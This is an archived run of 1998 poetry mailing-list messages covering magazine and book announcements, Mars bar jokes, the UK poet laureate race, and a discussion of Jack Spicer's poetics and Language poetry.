UK chocolate, in general, contains vegetable oils, which is why the EU wanted UK chocolate to be declassified. Mainland european chocolate is, er, mostly correspond.

UK Mars Bars were decreased in size recently - the older ones were ice-berg sized chunks of sugar-stuff.

Roger

Speicial Chocolate Correspondent.

↑ Index

136. **shemurph**
Re: Self-Promotion
Fri 6 Nov 1998

Rachel,

Do you have further details on how to obtain the Oppen Letters - thanks for that tip.

Sheila Murphy

↑ Index

137. **Edward Foster**
Re: TALISMAN
Fri 6 Nov 1998

---

the new talisman (the armand schwerner issue) is now, or soon will be, in bookstores. individual issues are going in the mail now. as it happens i just got back from the jersey city post office to mail 370 more copies.

anyone who wants to subscribe:

the rate is now $14/two issues. #18, the lewis warsh issue, was published in august, and #20, the maureen owen issue, is scheduled for the spring. that will be followed by 21/22, the special double-issue on history of american poetry 1970-2000, which will be published in july, and then by 23/24, the special double-issue on translation, which will draw heavily on next week's conference and which should be published next fall.

the talisman address is p.o. box 3157, jersey city, nj 07303-3157.

On Fri, 6 Nov 1998, Todd Baron /*/ ReMap wrote:

> *sorry for the "personal" tho others may be interested--*
>
> *Dear Ed Foster:*
>
> *when is the new issue of Talisman coming out--I haven't heard from you in a year!*

> *yrs,*
>
> *Todd Baron*

↑ Index

138. Edward Foster
Re: TALISMAN
Fri 6 Nov 1998

i should also mention the new talisman book, published last monday:

reality prime by walter lowenfels. -- his selected writings as edited by joel lewis (who is also responsible for the introduction, which i think will be for many years the primary source for anyone interested in lowenfels).

american publishers allowed lowenfels to go out of print, completely. a shameful fact. lowenfels is a key figure in the history of american poetry in our time. joel's book includes both major work from lowenfels' avant-garde years in paris and his political poetry.

↑ Index

139. Karen Kelley
Re: Self-Promotion
Fri 6 Nov 1998

& please post to the list, not back channel.

[redacted] wrote:

> *Rachel,*
>
> *Do you have further details on how to obtain the Oppen Letters - thanks for that tip.*
>
> *Sheila Murphy*

↑ Index

140. Rachel Blau DuPlessis
Re: Self-Promotion
Fri 6 Nov 1998

I will vouch for the fact that Rae's book TRUE is a great and subtle and witty and fascinating read, before I pass to three points of RAchel's self-promotion, as follows 1) The feminist Memoir Project, co-edited by DuPlessis and Ann Snitow, published by Three Rivers/ Crown/ Random House--31 various poignant, kick-

butt, frank, funny, serious memoirs by 2nd wave activists--in order that the particularities of social activist lives not be lost 2) RENGA: Draft 32 about to come out from a great new chapbook press here in Philly called BeautifulSwimmer and 3) I learn to my fascination that the Oppen letters is being remaindered by Duke UP--get a copy for about 1/3 of list price. (Since they never bothered to put it in Books In Print under Oppen, I can imagine why they have so many copies) but it is a great read in poetics, published in 1990, and edited by that same RAchel. over and out ========== Rachel Blau DuPlessis Temple University Philadelphia, PA 19122 [redacted]

↑ Index

141. **David Zauhar**
Re: JOEL OPPENHEIMER SYMPOSIUM
Fri 6 Nov 1998

On Fri, 6 Nov 1998, Burt Kimmelman [redacted] wrote:

> *thanks so much, sylvester, for the report. i do wish i had been able to be there, especially now that i learn how rich an experience it was.*
>
> *yes, reading joel's work in retrospect, i for realize how incredibly fine he is! yes there needs to be a lot more critical work done on him, and by the way a lot less of the sort of nonsense i find in the recent issue of ABR on joel.*
>
> *burt*

Yes, thanks to Sylvester Pollet from me too: Question: haven't seen the recent ABR, but I know a few people there, so I have to ask, what sort of nonsense did they put in there?

Dave Zauhar

↑ Index

142. **louis stroffolino**
Re: f.y.i.
Fri 6 Nov 1998

i would expect nothing less from the son of the woman who wrote "a kid will eat the middle of an oreo first" "the big fig newton" and "oh fab..."----------

On Fri, 6 Nov 1998, B. Taylor wrote:

> *It's important to note that what are called Mars Bars in the U.K. are known as Milky Ways in the U.S.*

> *** *UK man accused of stealing 1.5 mln Mars bars*
>
> *LONDON (Reuters) - Supervisor Martin Keys seems to have had a particularly sweet tooth - he is on trial for stealing 1.5 million chocolate Mars bars worth 500,000 pounds (US$829,000). Newspapers Thursday said Keys, accused of plotting to steal eight truck loads of the bars, made so much money he paid 21,000 pounds in cash for a new car and put down a 52,000 pound cash deposit on a house. "This story concerns chocolate. The theft of chocolate. A lot of chocolate - a mountain of chocolate," prosecutor Simon Brand told the court in Gloucester, southwest England. The finger of suspicion fell on Keys when a truck arrived at the warehouse and found most of the bars that should have been on the shelves had vanished. ###*

↑ Index

143. **raea100900**
address request
Fri 6 Nov 1998

Hello again,

I wonder if anyone out there has an e mail address for Claudia Rankine, the contact person for the conference at Barnard.

Rae Armantrout

↑ Index

144. **Safdie Joseph**
Spicer Poetics
Fri 6 Nov 1998

Seems like a while since we've actually talked about the reason this list exists -- besides, of course, the self-promos, the other-promos, the readings, the publications, etc., etc. Which I agree are necessary. But really . . . Mars Bars?

So on the day of the great Spicer memorial reading in S.F., and because it's been talked about a lot in recent weeks, I'd like to ask the List about these scraps of a possible poetics from _After Lorca_:

"Words are what sticks to the real.
We use them to push the real,
to drag the real into the poem.
They are what we hold on with,
nothing else. They are as valuable
in themselves as rope
with nothing to be tied to. . . .

"I would like to point to the real,
disclose it, to make a poem
that has no sound in it
but the pointing of a finger . . .

"to make things visible
rather than to make pictures of them . . .

"not as an image or a picture
but as something alive -- caught forever
in the structure of words"

I've always been amazed by the simple audacity of this proposition. On the face of it, it seems a long, long way from any sort of LangPo. Whether or not Jack's actual work exemplifies it is another question -- does Olson's work really exemplify "projective verse"? This would take us far afield. I'm mainly interested in the efficacy of the idea(s) themselves . . .

↑ Index

145. Billy Little
Re: f.y.i.
Sat 7 Nov 1998

---

in new york in august we kept our mars bars in the freezer, break them with a hammer, yum, cold and sweet, no gooey. the more delicate saw a slice off with a serrated knife, let the cool chocolate melting lubricate their murderous thoughts

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

146. Billy Little
Re: Spicer Poetics
Sat 7 Nov 1998

---

wcw's work exemplifies projective verse, paul blackburn's work, amiri baraka's work, susan howe's larry timewell's, kevin davies work maybe marcel marceau exemplifies what spicer proposed, charlie chaplin

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

147. jesse glass
Re: help (fwd)
Sat 7 Nov 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

For anyone, including this poet, I would suggest trying Woodland Pattern =
Book Center in Milwaukee, Wisc. as a possibility. I know Ric Caddel has =
read there, as well as Charles Bernstein, Robert Duncan, Helen Adam, and =
the list goes on and on and on. The book center is second to none in =
its holdings, and Anne Kingsbery and Karl Gartung are fantastic people. =
Once upon a time I lived around the corner and I sorely miss it. =20

-----Original Message-----
From: R I Caddel <[redacted]>
To: [redacted] =
<[redacted]>
Date: Friday, November 06, 1998 4:53 AM
Subject: help (fwd)
=20
=20
6/11/98
=20
Hi
I'm not sure if you can help me but I have to start somewhere! I am =
an Australian poet thinking of doing a world tour between April and =
august 1999. Can you help me with contacts, places to read & possibly =
run workshops, people who might be willing to put me up. I am willing to =
reciprocate the arrangement for anybody wanting to visit the Gold Coast =
in Qld, where I live. I will provide more details if this request finds =
a friendly home.
regards
jayne fenton keane

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HTML//EN">
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
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it. </FONT></DIV>
<BLOCKQUOTE=20
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5px">
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  <<A=20
  =
href=3D"mailto:[redacted]">[redacted]=

UFFALO.EDU</A>>
<B>Date:=20
</B>Friday, November 06, 1998 4:53 AM
<B>Subject: </B>help=20
(fwd)

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<DIV><FONT color=3D#000000 size=3D2>6/11/98</FONT></DIV>
<DIV> </DIV>
<DIV><FONT color=3D#000000 size=3D2>Hi</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT
size=3D2>I'm not =
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a=20
friendly home.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>regards</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>jayne fenton=20
keane</FONT></DIV></DIV></DIV></BLOCKQUOTE></BODY></HTML>

↑ Index

148. George Bowering

Re: f.y.i.

Sat 7 Nov 1998

> *It's important to note that what are called Mars Bars in the U.K. are known as Milky Ways in the U.S.*

They're called Mars Bars in Canada.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

149. **Ron Silliman**
What sticks to the real
Sat 7 Nov 1998

"Words are what sticks to the real.
We use them to push the real,
to drag the real into the poem.
They are what we hold on with,
nothing else. They are as valuable
in themselves as rope
with nothing to be tied to."

Actually, Joe, these words are as close to a definition of LangPo as such as I've ever come across.

Ron

↑ Index

150. **Lawrence Upton.**
Re: f.y.i.
Sat 7 Nov 1998

"A Mars a day mars a day"

From: B. Taylor <[redacted]>
Date: 06 November 1998 14:27

|It's important to note that what are called Mars Bars in the U.K. are known |as Milky Ways in the U.S.

---------- Lawrence Upton's website: http://members.spree.com/sip/lizard/
---------- "WORD SCORE UTTERANCE CHOREOGRAPHY in verbal and visual poetry" edited by Bob Cobbing and Lawrence Upton Writers Forum, London, 1998; 156 pp; ISBN 0 86162 750 4

↑ Index

151. **Burt Kimmelman**
Re: JOEL OPPENHEIMER SYMPOSIUM
Sat 7 Nov 1998

Dave,

In the new ABR is a quite cavalier and ultimately mindless review of Joel's late poems by Sparrow whom I enjoy as a poet but as a critic (if the word can be used in the present context) I find frustrating to say the least; his was a non-review comprised of some kidding around and woefully little treatment of the poems. I must say that I am also dismayed that ABR allowed this piece, which was, while being funny especiallly if you know Sparrow's work etc., really vapid. I have taken comfort in ABR as being a forum for serious and learned discourse about the avant-garde, but now I can't help but wonder a teensy-bit about that.

Burt

↑ Index

152. joel lewis
f.y.i. (place your bets)
Sat 7 Nov 1998

West Indian enters race to be UK Poet laureate

By Paul Majendie

LONDON, Nov 6 (Reuters) - West Indian poet and Nobel prize-winner Derek Walcott on Friday entered the race to replace the late Ted Hughes as Britain's next poet laureate.

The salary for the nation's official poet on state occasions -- 100 pounds ($166) and a case of wine a year -- is certainly not the big attraction of the lifelong job. But the nobility of the tradition appeals.

``I rather like the idea of those duty poems,'' Walcott, from the West Indian island of St Lucia, told Friday's Daily Telegraph.

``The very idea I could be laureate is amazing. I always thought the British would keep it to themselves,'' he said.

He insisted he was entitled to be considered. ``The qualification is the depth of love for the country you write about.''

Walcott, whose grandmothers were both slaves but also had one grandfather who was a white colonial, said: ``We are all inheritors of the English language.''

But he draws the line at ever accepting a knighthood: ``It's not me. I don't want to be part of some aristocracy.''

Just one week after Hughes died of cancer, bookmakers made Andrew Motion, a professor of creative writing at East Anglia university, the 6-4 favourite to be the next Poet Laureate.

He had already put himself in the running last year with a

poem commemorating Princess Diana after she was killed in a Paris car crash.

Walcott is not the only foreign challenger for a quintessentially British post.

Ireland's Nobel prize-winner Seamus Heaney gets an 8-1 quote from the bookmakers. Among the outsiders is Australian Les Murray.

Another intriguing name being bandied around in literary circles is Murray Lachlan Young, the pop poet who clinched a 1 million pound record deal last year.

``He has the Byronic looks if not the gravitas,'' The Finanial Times, reflecting on the surprisingly strong field in the esoteric poetry stakes, said of Young.

Walcott is not a great fan of the U.S. system whereby a poet laureate consultant to the Library of Congress is appointed for two years and paid an annual salary of $35,000.

``Here it is for life, it has a validity, a sense of tradition,'' he said.

But it can carry risks as John Wilmot, Earl of Rochester, found out to his cost in 1673.

He was asked to write a poem about King Charles II but instead produced a lampoon that speculated about the monarch's sexual shortcomings. Wilmot was forced to flee into exile.
^REUTERS@

↑ Index

153. **Mairead Byrne**

Re: f.y.i.

Sat 7 Nov 1998

In Hawaii they're called Anti-Pineapple Chunks.

On Sat, 7 Nov 1998, George Bowering wrote:

> *It's important to note that what are called Mars Bars in the U.K. are known as Milky Ways in the U.S.*
>
> *They're called Mars Bars in Canada.*
>
> *George Bowering.*
>
> *2499 West 37th Ave.,*

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

154. Elizabeth Treadwell
Matias Viegener
Sat 7 Nov 1998

Does anyone have a current email for Matias?
Thanks!
B-C

Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

155. Steve Shoemaker
Re: What sticks to the real
Sat 7 Nov 1998

Ron--It's interesting to me that you feel this to be so. For me, the Spicer lines certainly evoke a stronger sense of the intransigence of an extra-linguistic "real" than I usually associate with Langpo and its various statements of poetics. Take, for example, the following, from the Sapir epigraph to your essay "Disappearance of the Word, Appearance of the World": "The fact of the matter is that the 'real world' is to a large extent unconsciously built up on the language habits of the group." I could probably find a stronger example if I had more time to look, but even if we grant that there's a lot hanging on that qualifier "to a large extent," the emphasis here seems different than in the Spicer. It seems clear that your essay was meant as a corrective to the too-easy and too-prevalent assumption of linguistic transparency, but this sort of "corrective" impulse was common to many of the polemics that arose out of the initial l=a=n=g=u=a=g=e moment--indeed it often found much more virulent expression than it does in my example. (I seem to remember one formulation that went along the lines language control = thought control = reality control.) The Spicer lines here seem less concerned with the world-*constituting* dimension of language than with language as a kind of wrestling with a non-linguistic Other. Again, I can see how the distinction I'm trying to make might disappear

into a question of emphasis, but it still seems to me that the emphasis is significant.

Steve

At 06:15 AM 11/7/98 -0500, you wrote:
>"Words are what sticks to the real.
>We use them to push the real,
>to drag the real into the poem.
>They are what we hold on with,
>nothing else. They are as valuable
>in themselves as rope
>with nothing to be tied to."
>
>Actually, Joe, these words are as close to a definition of LangPo as such as
>I've ever come across.
>
>Ron
>
>
Steve Shoemaker
Visiting Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

↑ Index

156. Kathy Lou Schultz
My Life (Hejinian's that is)
Sat 7 Nov 1998

I am looking for recommendations of good critical work done on Lyn Hejinian's _My Life_. Even if you wrote it yourself, I wanna know about it (come on, don't be shy).

Also another plug for the new issue of Hambone: I'm currently reading an expansive critical piece on "the space age jazz poet" Sun Ra written by Brent Edwards which examines, among other things, the relationship of mid-century Black experimental poetics to musical traditions. Also included: new work by Martha Ronk, Lydia Davis, and Harryette Mullen. Some of my faves. Note: I ordered my copy directly from Nathaniel Mackey and he responded almost immediately.

More copies of Lipstick Eleven going out today. Thanks for all your orders!

Kathy Lou Schultz

↑ Index

157. Mark Baker
Re: What sticks to the real
Sat 7 Nov 1998

Do these lines appear in _After Lorca_?

> "*Words are what sticks to the real.*
> *We use them to push the real,*
> *to drag the real into the poem.*
> *They are what we hold on with,*
> *nothing else. They are as valuable*
> *in themselves as rope*
> *with nothing to be tied to.*"

Since what's quoted here apparently as verse apppears instead as prose in one of the letters in _After Lorca_, hasn't this passage already become unstuck from the real Spicer? "Most of my friends love words too well," this Jack writes, in a letter to a dead man. Construing the passage simply as any simple poetics seems naive.

But maybe not as naive as the need for LANGUAGE poets to provide a corrective to the "too-easy and too-prevalent assumption of linguistic transparency." Name one 20th-century linguist or philosopher of language who assumed anything like this. Name one English major who assumed it. The easy and prevalent assumption today is the reverse: language is completely opaque.

Mark Baker

↑ Index

158. KENT JOHNSON
Re: What sticks to the real
Sat 7 Nov 1998

On 7 Nov. Steve Shoemaker wrote:

> *The Spicer lines here seem less concerned with the*
> *world-*constituting* dimension of language than with language as a*
> *kind of wrestling with a non-linguistic Other.*"

Steve:

Just a thought to add to your post, to which I hope Ron responds because the issue you pose is interesting. My thought is something of a qualifcation to yours: One of the qualities of Spicer that most appeals to me is how speculative

and notational his very sophisticated thought is. In fact, I'm not sure, really, to what extent one can speak of a Spicer "Poetics," if by that term one means a system of thought that puts itself forth as internally consistent and confident in terms of its proposals. The pursuit of a poetry that shows "the mind in control of its language," for example, an oft-repeated quote from Watten (?) which could stand as a kind of epigraphic call to arms of the old Language circle, encapsulates a poetics that is aggressively confident and relatively technocratic. But Spicer's attitude (tho he was certainly not an unconfident poet!) is very different, inasmuch as his idea of dictation implies a mind not really in control of language at all! In fact, I think one can find much in JS that points to his "poetics" as largely affirmation that the poetic act and vocation is outside of, and irrelevant to, theorization.

One of the aspects of JS's thought that would support this is, actually, his "consistently" ambiguous and even contradictory stance regarding the language/world, self/other conundrum. When one considers Spicer's poetically charged staements about "poetics" in the poetry, letters, and talks, it often seems he is proposing, as you suggest, that there is an "outside" that is "non-linguistic," other and blank in the sense of the human menaings we ascribe to it. But at the same time, Spicer proposes that language comes to us from that very "blank" outside, that language is a part of the Outside no less than are rocks in a field, and that it is the palpable filament that connects us to the Other and weaves us into it, so that one could say the Outside was never "other" in the first place. The poet, as he said, is a radio through which the outside speaks; but a radio is also a piece of furniture in the room-- inside the room , not outside. The mystery of the poetic act, the "practice of the Outside," is the mystery that there is no outside of "Outside."

So what I would differ with in your post is the notion that Spicer has a "position" that makes him different from the "Language" poets (if they exist anymore?). What makes Spicer different is that he _doesn't have_ a position that allows us to comfortably place him in a geneology or spectrum of poetics. And in these times when it's so easy to draw parallels and make schools and trace allegiances, maybe that's why he is more and more attracting the interest of poets.

Kent

↑ Index

159. KENT JOHNSON
(Fwd) genre of virtual document
Sat 7 Nov 1998

The other day I forwarded a message from the Russian critic Mikhail Epstein. I recently also received this and I thought some on the List would find it interesting. Selections from "Fugitive Sects" are available in _New England Review_, vol. 18, No.2 (Spring, 1997): 70-100.

Kent

------- Forwarded Message Follows -------
Date: Fri, 6 Nov 1998 12:27:18 +0300
To: "KENT JOHNSON" <[redacted]>
From: [redacted] (Mikhail N.Epstein)
Subject: genre of virtual document

Dear Kent: here is a fragment of the letter I sent to the American publisher of "Fugitive Sects" who asked me what's the genre of the book: ----------

I think for the purpose of promotion, the genre of the book can be defined as broadly as possible, including "intellectual fiction," "religious fiction" or whatever. On a deeper level, I believe, this is not a fiction but what can be called "virtual document". Fiction departs from reality to the fields of imagination whereas "Sects" move into opposite direction, to make their "fiction" part of reality where they arose as possibilities. This is a rare genre: Rosicrucians emerged in this way - from a virtual document, an anonymous text "Fama Fraternitatis" (Account of the Brotherhood, 1614)- to become later one the most powerful mystical movements. Kabbalah was also founded by a virtual document - the book " Zoha"r written by Moses de Leon in the late 13th century. The third example: Pseudo-Dyonisius Areopagite (5 -6 th cc.) and apophatic theology generated by his pseudo-epigraphic treatises. I believe the virtual document will become one of the leading genres of 21 c., because reality itself is increasingly virtualized, and the difference between "faked" and "real" becomes less and less significant. That's why our time is sometimes called "New Middle Ages" - the golden age for fictions becoming flesh and blood of history.

Yours, Misha

↑ Index

160. henry gould
Re: What sticks to the real
Sat 7 Nov 1998

> "*Words are what sticks to the real.*
> *We use them to push the real,*

> *to drag the real into the poem.*
> *They are what we hold on with,*
> *nothing else. They are as valuable*
> *in themselves as rope*
> *with nothing to be tied to.*"

Another thing to think of here is a kind of irony: Spicer's simile - that words are what we hold onto, as valuable IN THEMSELVES only as much as rope is with nothing to be tied to - this simile is valuable IN ITSELF purely for its wit - pure useless wit (not in my awkward rephrasing - but in itself) - so it sort of under-cuts the thrust of the argument - but only a little -

Henry G.

↑ Index

161. Daniel Zimmerman
Re: Ethics in Writing
Sat 7 Nov 1998

[redacted] wrote:
>
> Hi, this is Dodie. I'm going to be teaching Ethics inWriting to
> undergraduate English majors. I want to cover all the things that get tail
> feathers ruffled on this list: racism, essentialism, privacy issues,
> ownership, censorship, Ezra Pound or someone similarly problematic and
> those issues, exclusion, the problematic use of the word "we"--also need to
> talk a bit about legal issues.
>
> My question is, does anyone have any advice--important essays, books, etc.
> that would be accessible/interesting to undergraduates?
>
> A friend of mine did a search of Aristotle and Ethics on the classics web
> and sent me her findings. It was brain-death for me, but a starting point.
> Particularly interesting was the stuff about slaves having no rights . . .
>
> Thanks for any input.

Dodie,

Lying: Moral Choice in Public and Private Life
by Sissela Bok
Paperback Reissue edition (December 1989)
Vintage Books; ISBN: 0679724702
[worth a close look]

The Ethics of Rhetoric
by Richard M. Weaver
Paperback Reprint edition (July 1985)
Hermagoras Pr; ISBN: 0961180021
[very conservative/traditional, but a classic; 1st publ. 1953]

Rhetoric of American Politics: a Study of Documents
by William R. Smith
Hardcover (June 1969)
Greenwood Publishing Group; ISBN: 0837114950
[very expensive: $75.00! good to put on reserve]

In my English Comp. II classes, I use

Miller, Robert K., ed. The Informed Argument: A Multidisciplinary Reader and Guide. 5th ed. New York: Harcourt Brace, 1998. ISBN: 0-15-503809-5

I use these texts [even some in Miller] as background for discussing the kinds of issues you mention, rather than using contemporary discussions alone -- a decision based on three years' participation in an Ethics Project at my college to help integrate that aspect of General Education into curricula beyond the Division of Social Sciences and Humanities.

Good luck with the course!

Best,

Dan Zimmerman
Middlesex County College
Edison, NJ

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Availability: T

↑ Index

162. **Thomas Bell**
Re: What sticks to the real
Sat 7 Nov 1998

When I give this quote some thought, it leads me to wonder why the argument always worries the language<=>reality bone, especially since it doesn't really matter whether the real is really there, as Kent noted earlier. For me the more interesting end is writer/reader<=>language. I feel that is what Spicer describes here with the tactile/sensual images.

tom bell

henry gould wrote:
>
> >>"Words are what sticks to the real.
> >>We use them to push the real,
> >>to drag the real into the poem.
> >>They are what we hold on with,
> >>nothing else. They are as valuable
> >>in themselves as rope
> >>with nothing to be tied to."
>
> Another thing to think of here is a kind of irony: Spicer's simile - that
> words are what we hold onto, as valuable IN THEMSELVES only as much as rope is
> with nothing to be tied to - this simile is valuable IN ITSELF purely for
> its wit - pure useless wit (not in my awkward rephrasing - but in itself) -
> so it sort of undercuts the thrust of the argument - but only a little -
>
> Henry G.

--
<><><><> <><>,...,.,
Y Y N M /\`
J K HHH ZOOOOZ MM
LLLL GOOOG [ ] SPACER

http://members.tripod.com/~trbell/criticism/gloom.htm
http://members.tripod.com/~trbell/Waysout.htm
http://members.tripod.com/~trbell/petals/petals.htm
http://members.home.net/trbell/motheran.htm
http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

↑ Index

163. Steve Shoemaker
Re: What sticks to the real
Sun 8 Nov 1998

Kent--What you say of Spicer is interesting, but I didn't really mean that to say that he had a "position." I was responding to Ron's response to those *particular lines*, and the truth is that I don't know Spicer's work well enough to venture any broader speculation. It may be that I found in those lines something that's ultimately more important to me than it was to Spicer. But when you say this:

> *Spicer proposes that language comes to us from*
> *that very "blank" outside, that language is a part of the Outside no*
> *less than are rocks in a field, and that it is the palpable filament*
> *that connects us to the Other and weaves us into it, so that one*
> *could say the Outside was never "other" in the first place.*

I'm not sure I get what you mean. Or at least it seems to me that that Other was there *before* language as we know it. The most recent evidence seems to suggest that we started speaking around half a million years ago, but we were walking around on those "rocks" long before that.

Steve Shoemaker
Visiting Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

↑ Index

164. Steve Shoemaker
Re: What sticks to the real
Sun 8 Nov 1998

Tom--To me, it does *matter* (pun intended) that "the real is really there." As Oppen said, poetry (and I would expand this to say also *language*) is concerned with a fact it did not create: the world.

At 10:25 PM 11/7/98 -0600, you wrote:
>When I give this quote some thought, it leads me to wonder why the
>argument always worries the language<=>reality bone, especially since it
>doesn't really matter whether the real is really there, as Kent noted
>earlier. For me the more interesting end is writer/reader<=>language.
>I feel that is what Spicer describes here with the tactile/sensual
>images.
>
>tom bell
>
>

Steve Shoemaker
Visiting Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

↑ Index

165. Steve Shoemaker
Re: What sticks to the real
Sun 8 Nov 1998

Mark--As I recall Ron's essay--and I haven't had a chance to reread it-- he wasn't talking about linguists, or philosophers of language, or even English majors. More like "mass market novels" on the order of *Jaws* and movies with faulty sub-titles...

>
>But maybe not as naive as the need for LANGUAGE poets to provide
>a corrective to the "too-easy and too-prevalent assumption
>of linguistic transparency." Name one 20th-century linguist
>or philosopher of language who assumed anything like this.
>Name one English major who assumed it. The easy and prevalent
>assumption today is the reverse: language is completely
>opaque.
>
>
>Mark Baker
>
>
Steve Shoemaker
Visiting Assistant Professor
English Department
Wake Forest University
Winston-Salem, NC 27109
[redacted]

↑ Index

166. Leonard Brink
What sticks to the real
Sun 8 Nov 1998

> *Words are what sticks to the real*

"Real" is a word.

↑ Index

167. Fredrik Hertzberg LIT
Re: What sticks to the real
Sun 8 Nov 1998

On Sat, 7 Nov 1998, Leonard Brink wrote:

> *Words are what sticks to the real*
>
> *"Real" is a word.*

Really?

↑ Index

168. Burt Kimmelman
Lapis Press
Sun 8 Nov 1998

Does anyone know where Lapis Press is located and how to get in touch with it? Also, does anyone know when the first volume(s) of Cid Corman's book(s) of poems titled "Of" was(were) published?

Thanks so much.
Please do backchannel if you like:

Burt Kimmelman
Department of Humanities and Social Sciences
New Jersey Institute of Technology, Newark, NJ 07102
[redacted] (p) [redacted] (f)
[redacted] (e) http://eies.njit.edu/~kimmelma (i)

↑ Index

169. Daniel Zimmerman
Re: What sticks to the real
Sun 8 Nov 1998

"I am reminded of a phrase quoted to me by a friend which was supposed to have been a remark of Jung's, although my friend confessed that he could never find the source of the quotation and may even have dreamed it. In any case, I pass it on to you--the old man is reputed to have said, '_Meine Herre, vergessen Sie nicht das Unbewusste ist auch draussen_' [Gentlemen, do not forget that the unconscious is also on the outside]!" --June Singer, _Boundaries of the Soul_. Anchor, 1973: 227.

In "The Practice of Outside," Robin Blaser writes that "The guide here is not the poet of a limited biographical occasion because he is guided toward the disclosure of a tied and retied heart, a manhood entangled with the world. The

disclosure must not be reduced to psyche . . . [but rather] . . . once when Pythagoras was asked what Chronos is, he answered that it is the psyche of the universe" (_Collected Books_ 281-282); . . . The dictation or emptying out allows the unknown, as iut is experientially and technically present to what we know, to enter and use the words, where it has been all along--strangely" (310).

[I.e., as you say, Kent, "no outside of "Outside."]

Dan

KENT JOHNSON wrote:
>
> On 7 Nov. Steve Shoemaker wrote:
>
> >The Spicer lines here seem less concerned with the
> >world-*constituting* dimension of language than with language as a
> >kind of wrestling with a non-linguistic Other."
>
> Steve:
>
> Just a thought to add to your post, to which I hope Ron
> responds because the issue you pose is interesting. My thought
> is something of a qualifcation to yours: One of the qualities of
> Spicer that most appeals to me is how speculative and notational his
> very sophisticated thought is. In fact, I'm not sure, really, to what
> extent one can speak of a Spicer "Poetics," if by that term one
> means a system of thought that puts itself forth as internally
> consistent and confident in terms of its proposals. The pursuit of
> a poetry that shows "the mind in control of its language," for
> example, an oft-repeated quote from Watten (?) which could
> stand as a kind of epigraphic call to arms of the old Language
> circle, encapsulates a poetics that is aggressively confident and
> relatively technocratic. But Spicer's attitude (tho he was certainly
> not an unconfident poet!) is very different, inasmuch as his idea of
> dictation implies a mind not really in control of language at all! In
> fact, I think one can find much in JS that points to his "poetics"
> as largely affirmation that the poetic act and vocation is
> outside of, and irrelevant to, theorization.
>
> One of the aspects of JS's thought that would support this is,
> actually, his "consistently" ambiguous and even contradictory stance
> regarding the language/world, self/other conundrum. When one
> considers Spicer's poetically charged staements about "poetics" in
> the poetry, letters, and talks, it often seems he is proposing, as

> you suggest, that there is an "outside" that is "non-linguistic,"
> other and blank in the sense of the human menaings we ascribe to it.
> But at the same time, Spicer proposes that language comes to us from
> that very "blank" outside, that language is a part of the Outside no
> less than are rocks in a field, and that it is the palpable filament
> that connects us to the Other and weaves us into it, so that one
> could say the Outside was never "other" in the first place. The poet,
> as he said, is a radio through which the outside speaks; but a radio
> is also a piece of furniture in the room-- inside the room , not
> outside. The mystery of the poetic act, the "practice of the
> Outside," is the mystery that there is no outside of "Outside."
>
> So what I would differ with in your post is the notion that Spicer
> has a "position" that makes him different from the "Language" poets
> (if they exist anymore?). What makes Spicer different is that he
> _doesn't have_ a position that allows us to comfortably place him in
> a geneology or spectrum of poetics. And in these times when it's so
> easy to draw parallels and make schools and trace allegiances, maybe
> that's why he is more and more attracting the interest of poets.
>
> Kent

↑ Index

170. **Tosh**
Re: Lapis Press
Sun 8 Nov 1998

I think Lapis Press is gone. If I am wrong... sorry about that!

Tosh Berman
TamTam Books

↑ Index

171. **Douglas**
Re: Lapis Press
Sun 8 Nov 1998

Lapis Press no longer exists.

Douglas Messerli

Burt Kimmelman [redacted] wrote:
>
> Does anyone know where Lapis Press is located and how to get in touch with
> it?
> Also, does anyone know when the first volume(s) of Cid Corman's book(s)
> of poems titled "Of" was(were) published?
>
> Thanks so much.
> Please do backchannel if you like:
>
> Burt Kimmelman
> Department of Humanities and Social Sciences
> New Jersey Institute of Technology, Newark, NJ 07102
> [redacted] (p) [redacted] (f)
> [redacted] (e) http://eies.njit.edu/~kimmelma (i)

↑ Index

172. **KENT JOHNSON**
Re: What sticks to the real
Sun 8 Nov 1998

On 8 Nov., Steve Shoemaker said:

> *...the truth is that I don't know Spicer's work well enough to venture any broader speculation.*

Steve:

My personal feeling is that the more one reads Spicer, the more necessary it becomes to "speculate" as a means to "understand." This is the path to understanding that Blaser's great essay takes, an essay unlike any other I've read--one taht truly opens up the mystery of a work rather than cataloguing it and explaining it down. We are initiates all. Further on you say:

> *...it seems to me that that Other was there *before* language as we know it. The most recent evidence seems to suggest that we started speaking around half a million years ago, but we were walking around on those "rocks" long before that.*

This is true. But I would prefer to think of the Other as always unfolding. "Rocks" weren't always there either. Language "appears" into the Other like rocks did long before it.

And if I can go back and comment on something else you said in the previous post:

> *The Spicer lines here seem less concerned with the*
> *world-*constituting* dimension of language than with language as a*
> *kind of wrestling with a non-linguistic Other.*

Important to say that Spicer's "poetics" is indeed impelled by the desire to constitute a world-- a communitas (a "city") of readers and lovers and friends which is realized through that Otherness of language. Spicer's, really, is one of the most "world-constituting" bodies of poetry that we have.

But here, too, taht paradoxical interpenetration of worlds is at work: The "real" space of human beings fully owes its being to an "outside" realm whose mysteries are beyond and not for us. So in this sense that in Spicer a ghostliness always inhabits the real...

